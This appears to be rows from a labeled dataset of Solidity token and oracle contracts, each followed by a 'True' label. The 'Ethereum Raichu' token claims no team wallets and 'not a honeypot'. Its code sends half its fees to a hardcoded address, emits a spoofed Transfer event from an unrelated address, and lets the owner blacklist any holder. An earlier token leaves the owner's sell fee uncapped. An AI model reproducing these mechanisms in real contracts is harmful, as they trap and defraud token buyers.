_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
excludeFromMaxTransaction(pair, value);
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function setProtectionSettings(bool antiGas) external onlyOwner() {
gasLimitActive = antiGas;
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 300);
gasPriceLimit = gas * 1 gwei;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
// remove limits anti snipe
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
emit ExcludedMaxTransactionAmount(updAds, isEx);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify
){
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Cannot exceed max wallet");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Cannot exceed max wallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
// Sell tokens for ETH
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
overMinimumTokenBalance &&
automatedMarketMakerPairs[to]
) {
swapBack();
}
removeAllFee();
buyOrSellSwitch = TRANSFER;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
// Buy
if (automatedMarketMakerPairs[from]) {
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
if(_liquidityFee > 0){
buyOrSellSwitch = BUY;
}
}
// Sell
else if (automatedMarketMakerPairs[to]) {
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
if(_liquidityFee > 0){
buyOrSellSwitch = SELL;
}
}
}
_tokenTransfer(from, to, amount);
restoreAllFee();
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
bool success;
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
if(totalTokensToSwap == 0 || contractBalance == 0) {return;}
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = (contractBalance * _liquidityTokensToSwap / totalTokensToSwap) / 2;
uint256 amountToSwapForBNB = contractBalance.sub(tokensForLiquidity);
uint256 initialBNBBalance = address(this).balance;
swapTokensForBNB(amountToSwapForBNB);
uint256 bnbBalance = address(this).balance.sub(initialBNBBalance);
uint256 bnbForMarketing = bnbBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 bnbForLiquidity = bnbBalance - bnbForMarketing;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
if(tokensForLiquidity > 0 && bnbForLiquidity > 0){
addLiquidity(tokensForLiquidity, bnbForLiquidity);
emit SwapAndLiquify(amountToSwapForBNB, bnbForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
function swapTokensForBNB(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 20, "Must keep taxes below 20%");
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
}
function setLiquidityAddress(address _liquidityAddress) external onlyOwner {
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// useful for buybacks or to reclaim any BNB on the contract in a way that helps holders.
function buyBackTokens(uint256 bnbAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: bnbAmountInWei}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
}
} | True | [
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] | [
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] |
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Base contract for Libre oracles.
*
* @dev Base contract for Libre oracles. Not abstract.
*/
contract OwnOracle is Ownable {
event NewOraclizeQuery();
event PriceTicker(uint256 rateAmount);
event BankSet(address bank);
event UpdaterSet(address updater);
bytes32 public oracleName = "LibreOracle Omega";
bytes16 public oracleType = "Libre ETHUSD";
uint256 public updateTime;
uint256 public callbackTime;
address public bankAddress;
uint256 public rate;
uint256 public requestPrice = 0;
bool public waitQuery = false;
address public updaterAddress;
modifier onlyBank() {
require(msg.sender == bankAddress);
_;
}
/**
* @dev Sets bank address.
* @param bank Address of the bank contract.
*/
function setBank(address bank) public onlyOwner {
bankAddress = bank;
BankSet(bankAddress);
}
/**
* @dev Sets updateAddress address.
* @param updater Address of the updateAddress.
*/
function setUpdaterAddress(address updater) public onlyOwner {
updaterAddress = updater;
UpdaterSet(updaterAddress);
}
/**
* @dev Return price of LibreOracle request.
*/
function getPrice() view public returns (uint256) {
return updaterAddress.balance < requestPrice ? requestPrice : 0;
}
/**
* @dev oraclize setPrice.
* @param _requestPriceWei request price in Wei.
*/
function setPrice(uint256 _requestPriceWei) public onlyOwner {
requestPrice = _requestPriceWei;
}
/**
* @dev Requests updating rate from LibreOracle node.
*/
function updateRate() external onlyBank returns (bool) {
NewOraclizeQuery();
updateTime = now;
waitQuery = true;
return true;
}
/**
* @dev LibreOracle callback.
* @param result The callback data as-is (1000$ = 1000).
*/
function __callback(uint256 result) public {
require(msg.sender == updaterAddress && waitQuery);
rate = result;
callbackTime = now;
waitQuery = false;
PriceTicker(result);
}
/**
* @dev Method used for funding LibreOracle updater wallet.
*/
function () public payable {
updaterAddress.transfer(msg.value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
/**
*/
/*
ETHEREUM RAICHU - $eRAICHU
THIS IS THE OFFICIAL CONTRACT OF $eRAICHU - MORE DETAILS IN OUR TELEGRAM : https://t.me/eRaichu
Extreme bot protection! No bots will be able to partake in the project.
100% Fair Launch NO dev wallets or pre-sale/Initial liquidity offering!
There will be a buy limit on launch, the exact amount will be disclosed in our telegram before launch!
There will be a cooldown of 30 seconds at launch between buying/selling on each unique addy this is an antibot measure also don't multi buy it wont work
The cooldown will be removed some time after launch
DON'T panic not a honeypot! you'll be able to sell after 30 seconds!
Join the telegram for more info
https://t.me/eRaichu
⚡️Tokenomics ⚡️
✔️ 1,000,000,000,000 Total Supply
✔️ 15% Burned before launch
✔️ Hardcoded buy limit of 0.25%
✔️ No pre-sale or Initial Liquidity offering! ALSO NO TEAM OR MARKETING WALLETS! 100% FAIR LAUNCH
✔️ 5% Automated Rewards Farming (ARF)
✔️ 30 Seconds cooldown timer on unique addresses
✔️ Gradually increasing max TX (done manually by function)
💸BUYS 💸
✔️ 7% Redistribution to current holders
✔️ 5% Developer Fee (since we provide starting LP)
💰 SELLS 💰
✔️ 7% Redistribution to current holders
✔️ 8% Developer Fee (since we provide starting LP)
✔️ 100% of liquidity will be locked minutes after launch!
✔️ Ownership will be renounced
SOCIALS:
Website: https://raichucoin.com
Twitter: https://twitter.com/eRAICHUcoin
Telegram: https://t.me/eRaichu
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Raichu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Ethereum Raichu (raichucoin.com)";
string private constant _symbol = '$eRAICHU';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (33 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(0xCb9D33c68a4F61d3c123c536463E2FACC9D5CAC1).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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pragma solidity 0.4.24;
/*
Capital Technologies & Research - Capital (CALL)
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
